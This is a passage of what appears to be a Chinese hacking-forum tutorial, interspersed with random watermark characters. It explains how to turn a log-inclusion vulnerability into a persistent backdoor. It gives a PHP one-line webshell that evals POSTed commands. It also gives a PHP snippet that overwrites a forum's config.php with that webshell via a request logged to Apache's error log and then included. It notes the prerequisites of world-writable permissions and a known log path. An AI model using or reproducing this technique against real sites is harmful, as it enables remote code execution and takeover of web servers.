因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 9 c3 g: {5 U1 [: Z8 D2 E0 I
3 R( y4 \& M" `. L! O/ j
比如还是这句一句话木马 7 g6 O' ^2 c( H% O3 p# D, k
<?eval($_POST[cmd]);?> - U) o# g( U$ w1 J
8 z5 T" W4 W+ M+ r到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
{% @, P7 d; Z* l' ~fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 . O1 b- O7 E# U. L1 \
- [6 c+ }+ x ~$ j( U<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); - p4 [) M( t W( K8 z
fclose($fp);?> //在config.php里写入一句木马语句
8 f6 A# s( q# h# ~$ ~' X4 W6 t( ]/ O' P" c! L0 e
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。

PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
